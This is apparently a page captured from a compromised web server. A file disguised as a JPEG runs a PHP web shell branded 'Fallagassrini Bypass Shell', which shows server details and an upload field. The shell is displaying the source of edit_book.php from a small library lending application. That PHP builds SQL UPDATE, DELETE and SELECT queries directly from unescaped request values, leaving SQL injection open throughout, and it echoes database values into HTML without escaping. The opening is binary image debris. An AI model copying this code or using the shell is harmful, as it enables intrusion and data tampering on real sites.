JFIF;CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 85 C  !"$"$C$^" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ? C^",k8`98?þ. s$ֱ$Xw_Z¿2b978%Q}s\ŴqXxzK1\@N2<JY{lF/Z=N[xrB}FJۨ<yǽw 5o۹^s(!fF*zn5`Z}Ҋ">Ir{_+<$$C_UC)^r25d:(c⣕U .fpSnFe\Ӱ.չ8# m=8iO^)R=^*_:M3x8k>(yDNYҵ/v-]WZ}h[*'ym&e`Xg>%̲yk߆՞Kwwrd󞼎 r;M<[AC¤ozʪ+h%BJcd`*ǎVz%6}G;mcՊ~b_aaiiE4jPLU<Ɗvg?q~!vc DpA/m|=-nux^Hޔ|mt&^ 唉KH?񯣾 ^]G\4#r qRRGV!i~眦]Ay6O#gm&;UV BH ~Y8( J4{U| 14%v0?6#{t񦊊#+{E8v??c9R]^Q,h#i[Y'Š+xY佑VR{ec1%|]p=Vԡʺ9rOZY L(^*;O'ƑYxQdݵq~5_uk{yH$HZ(3 )~G Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home/easwari/www/llm/

Linux 141.162.178.68.host.secureserver.net 3.10.0-1160.114.2.el7.x86_64 #1 SMP Wed Mar 20 15:54:52 UTC 2024 x86_64
Upload File :
Current File : /home/easwari/www/llm/edit_book.php

<?php

include('is_autheticated.php');



if($_POST['update_book'])

{

	

	//echo $sourece=mysql_query("update book_master set book_name= and isbn_no='".$_POST['isbn_no']."' where id='".$_GET['uid']."'");

	$id=$_GET['uid'];

	$arr_date=explode('-',$_POST['date_of_arrival']);

	$date_of_arrival_new= $arr_date[2].'-'.$arr_date[1].'-'.$arr_date[0];

	 $qryupd = "update book set book_name='".$_POST['book_name']."',category='".$_POST['category']."',author='".$_POST['author']."',

	 date_of_arrival='".$_POST['date_of_arrival']."',date_of_arrival_new='".$date_of_arrival_new."',isbn='".$_POST['isbn']."',new_book_alert='".$_POST['new_book_alert']."',publication='".$_POST['publication']."',language='".$_POST['language']."',currency='".$_POST['currency']."',cost='".$_POST['cost']."',default_reading_days='".$_POST['default_reading_days']."',reading_charges='".$_POST['reading_charges']."',late_fee='".$_POST['late_fee']."' where id='".$_GET["uid"]."'";

	$sucess=mysql_query($qryupd) or die(mysql_error());
	mysql_query("update book_receipt set book_name='".$_POST['book_name']."' where book_id	='".$_GET["uid"]."'");
	if($sucess)

	{?>

     <script type="application/javascript">

	 window.location.href="manage_book.php?msg=updated";

	 </script>

	 

	 <?Php 

		//$sucess_msg="Book Successfully Updated";

	};

	

}
if($_POST['delete_book'])

{ 
$source=mysql_query("select * from book where `id` ='".$_GET["uid"]."'");

$source2=mysql_num_rows(mysql_query("select * from book_receipt where book_id  ='".$_GET["uid"]."'"));

if($source2 == '0'){ 
$qryupd = mysql_query("DELETE FROM book WHERE `id` ='".$_GET["uid"]."'");
	?>
	<script type="application/javascript">
	 window.location.href="manage_book.php?msg=deleted";
	 </script>
	 <?php }
	else
	{?>
	  <script type="application/javascript">
	 window.location.href="manage_book.php?msg=not_deleted";
	 </script>
	<?php }
	?>
	 <!--  <script type="application/javascript">
	 window.location.href="manage_book.php?msg=deleted";
	 </script>-->
   <?php
}

?>


    <!--<style type="text/css">

	

	button, input, select, textarea {

    border: 2px solid #bfe0f3;

    border-radius: 0;

    box-shadow: none;

    height: 40px;

	 padding: 8px 16px;

}

	

	

	.read_charges {

    border: 2px solid #bfe0f3;

    border-radius: 0;

    box-shadow: none;

    height: 40px;

    padding: 8px 16px;

}

	</style>-->



<!DOCTYPE html>

<html lang="en">

	

<!-- Mirrored from jesus.gallery/cloud2/form.html by HTTrack Website Copier/3.x [XR&CO'2013], Sat, 18 Apr 2015 04:40:46 GMT -->

<head>
<title>Easwary Library Lending Library</title>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<link rel="stylesheet" href="css/bootstrap.min.css" />
<link rel="stylesheet" href="css/bootstrap-responsive.min.css" />
<link rel="stylesheet" href="css/colorpicker.css" />
<link rel="stylesheet" href="css/datepicker.css" />
<link rel="stylesheet" href="css/uniform.css" />
<link rel="stylesheet" href="css/select2.css" />
<link rel="stylesheet" href="css/matrix-style.css" />
<link rel="stylesheet" href="css/matrix-media.css" />
<link rel="stylesheet" href="css/bootstrap-wysihtml5.css" />
<link href="font-awesome/css/font-awesome.css" rel="stylesheet" />
<!--<link href='http://fonts.googleapis.com/css?family=Open+Sans:400,700,800' rel='stylesheet' type='text/css'>-->

<!--<link rel="stylesheet" href="css/animate.css" />
<link rel="stylesheet" href="css/fullcalendar.css" />
<link rel="stylesheet" href="css/jquery.gritter.css" />-->
</head>


	<body>
		<!-- Left sidebar start -->
		<?php include('left_menu.php'); ?>
		<!-- Left sidebar end -->
		<!-- Dashboard Wrapper Start -->
		<div class="dashboard-wrapper">
			<!-- Header start -->
			<?php include('header.php'); ?>
			<!--main-container-part-->
<div id="content">
<!--breadcrumbs-->
  <div id="content-header">
    <div id="breadcrumb"> <a href="index.php" title="Go to Home" class="tip-bottom"><i class="icon-home"></i> Home</a><a href="#" class="tip-bottom">Books</a> <a href="#" class="current">Edit Book</a></div>
  </div>
<!--End-breadcrumbs-->

<!--Action boxes-->


<div class="container-fluid">
    <div class="row-fluid">
  <div class="span12">
      <div class="widget-box">
        <div class="widget-title"> <span class="icon"> <i class="icon-th-large"></i> </span>
          <h5>Modify Book</h5><span class="icon" style="float:right"><a href="manage_book.php"> <i class="icon-th-list" title="List Book"></i></a> </span>
        </div>
                    <div class="widget-content nopadding">
						
			           <form name="books" id="books" method="post" class="form-horizontal" >
						   <?php
							$step=mysql_fetch_array(mysql_query("select * from book where id='".$_GET['uid']."'"));
										?>

                                <div class="span11">
								 <div class="control-group" style="margin-left:30px">
			                  <label for="exampleInputEmail1" class="control-label">Date of Arrival<sub>(dd-mm-yyyy)</sub></label>
							   <div class="controls">
          <input type="text" data-date="<?php echo date('d-m-Y'); ?>" data-date-format="dd-mm-yyyy" value="<?php echo $step['date_of_arrival']; ?>" name="date_of_arrival" id="date_of_arrival" class="datepicker" tabindex="1" >
			                 
					
							 </div>
							 </div>
							 </div>
							 
							   <div class="span5">
							    <div class="control-group">
			                  <label for="exampleInputEmail1" class="control-label">Author</label>
							   <div class="controls">
				 <input type="text"  value="<?php echo $step['author']; ?>" name="author" id="author" autocomplete="off" onKeyUp="showauthor()" tabindex="2" required>
							  </div>
							  <div id="authordisplay"></div>
							  </div>
							 </div>
			               

                              <div class="span5">
							   <div class="control-group">
			                  <label for="exampleInputEmail1" class="control-label">Category</label>
							   <div class="controls">
				 <input type="text"  value="<?php echo $step['category']; ?>" name="category" id="category" autocomplete="off" onKeyUp="showcategory()" tabindex="3" required>
							  </div>
							  <div id="display" ></div>
							  </div>
							 </div>
			               

                               <div class="span5">
					    	   <div class="control-group">
			                  <label for="exampleInputEmail1" class="control-label">Book Name</label>
							   <div class="controls">
				 <input type="text"  value="<?php echo $step['book_name']; ?>" name="book_name" id="book_name" autocomplete="off" tabindex="4" required>
							  </div>
							 </div>
							 </div>


                               <div class="span5">
						   <div class="control-group">
			                  <label for="exampleInputEmail1" class="control-label">ISBN</label>
							   <div class="controls">
				 <input type="text"  value="<?php echo $step['isbn']; ?>" name="isbn" id="isbn" autocomplete="off" tabindex="5" required onKeyUp="checkTextBox(this.value)">
							  </div>
			                 </div>
							 </div>
							 
							 
							 <div class="span5">
                            <div class="control-group" style="margin-left:150px;">
			                    <label class="control-label">
			            <input type="checkbox" id="new_book_alert" name="new_book_alert" value="1" <?php if($step['new_book_alert']==1) echo "checked"; ?> tabindex="6"><b>New book Alert</b>
			                    </label>
			                    </div>
								</div>
								
			               

                             <!-- <div class="checkbox">
			                    <label class="control-label"> 
			            <input type="checkbox" id="new_book_alert" name="new_book_alert" value="1" <?php if($step['new_book_alert']==1) echo "checked"; ?>> <b>New book Alert</b>
			               </label>
			                    </div>-->

			               <div class="span5">
						   <div class="control-group">
			                  <label for="exampleInputEmail1" class="control-label">Publication</label>
							   <div class="controls">
				 <input type="text"  value="<?php echo $step['publication']; ?>" name="publication" id="publication" autocomplete="off" onKeyUp="showpublication()" tabindex="7" required>
							  </div>
							   <div id="publicationdisplay"></div>
			                 </div>
							 </div>
							 
							 <div class="span5">
						   <div class="control-group">
			                  <label for="exampleInputEmail1" class="control-label">Language</label>
							   <div class="controls">
                              <select  id="language" name="language" tabindex="8" required>
							   <option value="<?php echo $step['language']; ?>"><?php echo $step['language']; ?></option>
							  <option value="-1">Select Language</option>
                                <?php 
							  $views=mysql_query("select distinct name from language order by name"); 
							   while($branch=mysql_fetch_array($views)) { 	?>
							 <option value="<?php echo $branch['name']; ?>" ><?php echo $branch['name']; ?></option>
							 <?php } ?>
							 </select>			
				     		  </div>
			                 </div>
							 </div>
                       
					        <div class="span5">
						   <div class="control-group">
			                  <label for="exampleInputPassword1" class="control-label">Currency</label>
                            <div class="controls">
			                  <select  id="currency" name="currency" tabindex="9" required>

                             <option value="Rs" <?php if ($step['currency']=='Rs') echo 'selected'; ?>>Rs</option>

                              <option value="$" <?php if ($step['currency']=='$') echo 'selected'; ?>>$</option>

                              </select>
							  </div>
							  </div>
			                </div>

                            

                                <div class="span5">
						   <div class="control-group">
			                  <label for="exampleInputPassword1" class="control-label">Cost</label>
                            <div class="controls">
			                  <input type="text"  id="cost" name="cost" onBlur="showreadings(this.value)" value="<?php echo $step['cost']; ?>" tabindex="10" required>
			                </div>
							</div>
							</div>

			               <div class="span5">
						   <div class="control-group">
			                  <label for="exampleInputPassword1" class="control-label">Default Reading Days</label>
                            <div class="controls">
			                  <input type="text" id="default_reading_days" name="default_reading_days" value="<?php echo $step['default_reading_days']; ?>" tabindex="11" required>
			                </div>
							</div>
							</div>

                             <div class="span5">
							  <div id="read_charges">
						   <div class="control-group">
			                  <label for="exampleInputPassword1" class="control-label">Reading Charges</label>
                            <div class="controls">
			                  <input type="text"  id="reading_charges" name="reading_charges" value="<?php echo $step['reading_charges']; ?>" tabindex="12" required>
			                </div>
							</div>
							</div>
							</div>

			               <div class="span5">
						   <div class="control-group">
			                  <label for="exampleInputPassword1" class="control-label">Late fee</label>
                            <div class="controls">
			                  <input type="text" id="late_fee" name="late_fee" value="<?php echo $step['late_fee']; ?>" tabindex="13" required>
			                </div>
							</div>
							</div>
							  <div class="form-actions" align="center">
							  <div style="margin-top:300px;">
							<input type="submit" name="update_book" value="Submit" class="btn btn-success" tabindex="14" />
			               	<input type="submit" name="delete_book" value="Delete" class="btn btn-danger" tabindex="15" >
                            <input type="reset" name="cancel" value="Cancel" class="btn btn-danger"  tabindex="16" onClick="history.go(-1);">
                          </div>
						    </div>
			              </form>
			          
			          </div>
			        </div>
			      </div>
				</div>
				</div>
				</div>

					
			
<div class="row-fluid">
  <div id="footer" class="span12"> Copyright Cloud Admin <span>2015</span>. All Rights Reserved. </div>
</div>
			<!-- Footer end -->
</div>
		<!-- Dashboard Wrapper End -->

<script language="javascript">
function ini()
{

// Retrieve the code
var code =document.getElementById ('isbn').value;

// Return false to prevent the form to submit
return false;

}
var input_size = 1;

function checkTextBox(bc){
   var barcode_ =  bc.tabIndex;
   
   if ( bc.value.length > input_size ) 
        { 
            for(i=0; i<document.barcode.elements.length; i++) 
            { 
                      if( document.barcode.elements[i].tabIndex == (barcode_+1) ) 
                     {    
                         document.barcode.elements[i].focus(); 
                         break; 
                     } 
          } 
    }         
} 

function showreadings(str)
	{
		//alert(str);
if (str=="")
  {
  document.getElementById("txtHint").innerHTML="";
  return;
  }
if (window.XMLHttpRequest)
  {// code for IE7+, Firefox, Chrome, Opera, Safari
  xmlhttp=new XMLHttpRequest();
  }
else
  {// code for IE6, IE5
  xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
  }
xmlhttp.onreadystatechange=function()
  {
  if (xmlhttp.readyState==4 && xmlhttp.status==200)
    {
    document.getElementById("read_charges").innerHTML=xmlhttp.responseText;
    }
  }
xmlhttp.open("GET","get_reading.php?s="+str,true);
xmlhttp.send();
}
	 </script>

        

         <script>

	if (top.location != location) {

    top.location.href = document.location.href ;

  }

		$(function(){

			window.prettyPrint && prettyPrint();

			$('#date_of_arrival').datepicker({

				format: 'dd-mm-yyyy'

			});

			$('#dp2').datepicker();

			$('#dp3').datepicker();

			$('#dp3').datepicker();

			$('#dpYears').datepicker();

			$('#dpMonths').datepicker();

			

			

			var startDate = new Date(2012,1,20);

			var endDate = new Date(2012,1,25);

			$('#dp4').datepicker()

				.on('changeDate', function(ev){

					if (ev.date.valueOf() > endDate.valueOf()){

						$('#alert').show().find('strong').text('The start date can not be greater then the end date');

					} else {

						$('#alert').hide();

						startDate = new Date(ev.date);

						$('#startDate').text($('#dp4').data('date'));

					}

					$('#dp4').datepicker('hide');

				});

			$('#dp5').datepicker()

				.on('changeDate', function(ev){

					if (ev.date.valueOf() < startDate.valueOf()){

						$('#alert').show().find('strong').text('The end date can not be less then the start date');

					} else {

						$('#alert').hide();

						endDate = new Date(ev.date);

						$('#endDate').text($('#dp5').data('date'));

					}

					$('#dp5').datepicker('hide');

				});



        // disabling dates

        var nowTemp = new Date();

        var now = new Date(nowTemp.getFullYear(), nowTemp.getMonth(), nowTemp.getDate(), 0, 0, 0, 0);



        var checkin = $('#dpd1').datepicker({

          onRender: function(date) {

            return date.valueOf() < now.valueOf() ? 'disabled' : '';

          }

        }).on('changeDate', function(ev) {

          if (ev.date.valueOf() > checkout.date.valueOf()) {

            var newDate = new Date(ev.date)

            newDate.setDate(newDate.getDate() + 1);

            checkout.setValue(newDate);

          }

          checkin.hide();

          $('#dpd2')[0].focus();

        }).data('datepicker');

        var checkout = $('#dpd2').datepicker({

          onRender: function(date) {

            return date.valueOf() <= checkin.date.valueOf() ? 'disabled' : '';

          }

        }).on('changeDate', function(ev) {

          checkout.hide();

        }).data('datepicker');

		});

	</script>

	

	<script type="text/javascript">

function fill(Value)

{

$('#category').val(Value);

$('#display').hide();

}

function fill1(Value)

{

$('#author').val(Value);

$('#authordisplay').hide();

}

function fill2(Value)

{

$('#publication').val(Value);

$('#publicationdisplay').hide();

}


</script>
<script type="text/javascript">

function showcategory(){

var category = $('#category').val();

if(category == "")
{
$("#display").html("");
}

else
{
$.ajax({
type: "POST",
url: "ajax.php",
data: "category="+ category ,
success: function(data){
$("#display").html(data).show();
}
});
}

}
</script>
<script type="text/javascript">
function showauthor(){

var author = $('#author').val();

if(author=="")
{
$("#authordisplay").html("");
}

else
{
$.ajax({
type: "POST",
url: "ajaxauthor.php",
data: "author="+ author ,
success: function(data){
$("#authordisplay").html(data).show();
}
});
}

}
</script>
<script type="text/javascript">
function showpublication(){
var publication = $('#publication').val();
if(publication=="")
{
$("#publicationdisplay").html("");
}
else
{
$.ajax({
type: "POST",
url: "ajaxpublication.php",
data: "publication="+ publication ,
success: function(data){
$("#publicationdisplay").html(data).show();
}
});
}
}


</script>



		<!-- jQuery (necessary for Bootstrap's JavaScript plugins) -->

		
<style type="text/css">

	

	button, input, select, textarea {

    border: 2px solid #bfe0f3;

    border-radius: 0;

    box-shadow: none;

    height: 40px;

	 padding: 8px 16px;

}

	

	

	.read_charges {

    border: 2px solid #bfe0f3;

    border-radius: 0;

    box-shadow: none;

    height: 40px;

    padding: 8px 16px;

}

	</style>


		<!-- Include all compiled plugins (below), or include individual files as needed -->

<script src="js/jquery.min.js"></script> 
<script src="js/jquery.ui.custom.js"></script> 
<script src="js/bootstrap.min.js"></script> 
<script src="js/bootstrap-colorpicker.js"></script> 
<script src="js/bootstrap-datepicker.js"></script> 
<!--<script src="js/jquery.toggle.buttons.js"></script>-->
<script src="js/masked.js"></script> 
<script src="js/jquery.uniform.js"></script> 
<script src="js/select2.min.js"></script> 
<script src="js/matrix.js"></script> 
<script src="js/matrix.form_common.js"></script> 
<script src="js/wysihtml5-0.3.0.js"></script> 
<script src="js/jquery.peity.min.js"></script> 
<script src="js/bootstrap-wysihtml5.js"></script> 

<script src="js/bootstrap.min.new.js"></script>
<script src="js/custom.js"></script>
<script>
	$('.textarea_editor').wysihtml5();
</script>
<script src="js/excanvas.min.js"></script> 
<!--<script src="js/jquery.min.js"></script> -->
<script src="js/bootstrap.min.js"></script> 
<script src="js/jquery.flot.min.js"></script> 
<script src="js/jquery.flot.resize.min.js"></script> 
<script src="js/jquery.peity.min.js"></script> 
<script src="js/fullcalendar.min.js"></script> 
<script src="js/matrix.js"></script> 
<script src="js/matrix.dashboard.js"></script> 
<script src="js/jquery.gritter.min.js"></script> 
<script src="js/matrix.interface.js"></script> 
<script src="js/matrix.chat.js"></script> 
<script src="js/jquery.validate.js"></script> 
<script src="js/matrix.form_validation.js"></script> 
<script src="js/jquery.wizard.js"></script> 
<script src="js/jquery.uniform.js"></script> 
<script src="js/matrix.popover.js"></script> 
<script src="js/jquery.dataTables.min.js"></script> 
<script src="js/matrix.tables.js"></script> 

<script type="text/javascript">

        $(document).ready(function () {

          //  setupTinyMCE();

           // setupProgressbar('progress-bar');

          //  setDatePicker('date_of_arrival');

           // setupDialogBox('dialog', 'opener');

           // $('input[type="checkbox"]').fancybutton();

            //$('input[type="radio"]').fancybutton();

			

			$('#date_of_arrival').datepicker({ dateFormat: 'dd-mm-yy' });

			

        });

		

    </script>
	

<script type="text/javascript">
  // This function is called from the pop-up menus to transfer to
  // a different page. Ignore if the value returned is a null string:
  function goPage (newURL) {

      // if url is empty, skip the menu dividers and reset the menu selection to default
      if (newURL != "") {
      
          // if url is "-", it is this page -- reset the menu:
          if (newURL == "-" ) {
              resetMenu();            
          } 
          // else, send page to designated URL            
          else {  
            document.location.href = newURL;
          }
      }
  }

// resets the menu selection upon entry to this page:
function resetMenu() {
   document.gomenu.selector.selectedIndex = 2;
}
</script>
	</body>



<!-- Mirrored from jesus.gallery/cloud2/form.html by HTTrack Website Copier/3.x [XR&CO'2013], Sat, 18 Apr 2015 04:40:46 GMT -->

</html>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net